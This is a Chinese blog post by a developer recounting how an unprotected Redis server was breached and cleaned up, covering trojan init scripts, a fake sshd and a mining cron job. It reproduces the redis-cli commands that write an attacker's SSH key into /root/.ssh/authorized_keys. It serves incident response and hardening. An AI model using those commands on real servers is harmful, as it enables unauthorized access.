记一次Redis漏洞导致服务器被入侵以及解决的过程

其实这个问题在网上都有说明。然而因为本人是开发出身，运维方面比较欠缺，所以才会遇到此问题，遂记录下来，以此为戒。

被入侵现象

• 服务器多了很多莫名其妙的操作，根据查看操作记录命令history得到。

• 服务器会莫名其妙重启。

• 经常ssh免密登录失效。

• apt-get使用报错。

  报错log如下：

  insserv: warning: script 'S01wipefs' missing LSB tags and overrides
  insserv: warning: script 'S02acpidtd' missing LSB tags and overrides
  insserv: warning: script 'S99selinux' missing LSB tags and overrides
  insserv: warning: script 'S02DbSecuritySpt' missing LSB tags and overrides
  insserv: warning: script 'wipefs' missing LSB tags and overrides
  insserv: warning: script 'DbSecuritySpt' missing LSB tags and overrides
  insserv: warning: script 'selinux' missing LSB tags and overrides
  insserv: warning: script 'acpidtd' missing LSB tags and overrides
  insserv: There is a loop between service plymouth and mountdevsubfs if started
  insserv:  loop involving service mountdevsubfs at depth 2
  insserv:  loop involving service udev at depth 1
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  insserv: Starting selinux depends on plymouth and therefore on system facility `$all' which can not be true!
  

  看起来很正常对不对，毕竟selinux也是常用安全服务。

被入侵原因：Redis漏洞

由于Redis可以直接直接通过IP:port 访问，所以如果不配置密码，会端口大开。在通过redis-cli修改数据持久化路径指定到.ssh/authorized_keys，将自己的ssh公钥持久化到服务器公钥，就可以直接ssh登录服务器进行操作。在https://bbs.ichunqiu.com/thread-17634-1-1.html 一文中有详细说明。大致攻击过程记录如下：

1. 将公钥写入一个文本中：

   cd ~/.ssh/
   (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt
   

2. 利用redis客户端连接靶机redis：

   cat hack.txt | /usr/local/redis-2.8.3/src/./redis-cli -h 192.168.132.134 -x set crack
   

3. 获取并修改redis备份的路径

   CONFIG SET dir /root/.ssh
   CONFIG SET dbfilename authorized_keys
   

4. 获取并修改redis备份的路径

   save
   

至此可以直接ssh免密登录。

补漏洞

其实很简单，在redis的配置文件里加上密码验证即可。这样在redis-cli里不用密码是没有办法进行操作的。

或者可以在配置文件里bind固定地址才可以访问Redis。

杀掉入侵程序

某些内容要感谢https://yq.aliyun.com/ask/57692?spm=5176.8246799.0.0.iwQw3W 和https://www.cnblogs.com/liuchuyu/p/7490338.html 。

1. 在解决问题的时候第一步想的是apt-get为什么会因为selinux报错。在服务器上查看到有/etc/init.d/selinux这个文件的。而在我自己的Ubuntu PC上是没有查看到/etc/init.d/selinux的文件的。遂去查看里面内容，发现里面启动了一个进程（划重点）：/usr/bin/getty。遂去晚上查找这个进程的用处，果不其然，是木马进程。遂删除之。在网上看到同目录下还有DbSecuritySpt，同样是入侵程序。
2. apt-get 的报错还有诸如S01wipefs，S02acpidtd此类的启动项，遂从S01-S06级别的启动项全部删除。并且检查这些进程当前是否有正在运行中的，全部kill。
3. 同样，在/usr/bin里的还有伪装成ssh的程序.sshd，全部rm。
4. 按照https://www.cnblogs.com/liuchuyu/p/7490338.html 的说法，该入侵是将服务器变成挖矿机器。会添加crontab。遂检查，果然有木马的定时调度项，没有任何犹豫，双击d解决。

此时再apt-get没有任何报错，并且第二天服务器没有任何莫名其妙的history，ssh再也没有问题。

结论：我本不是运维，开发做多了，就成了运维。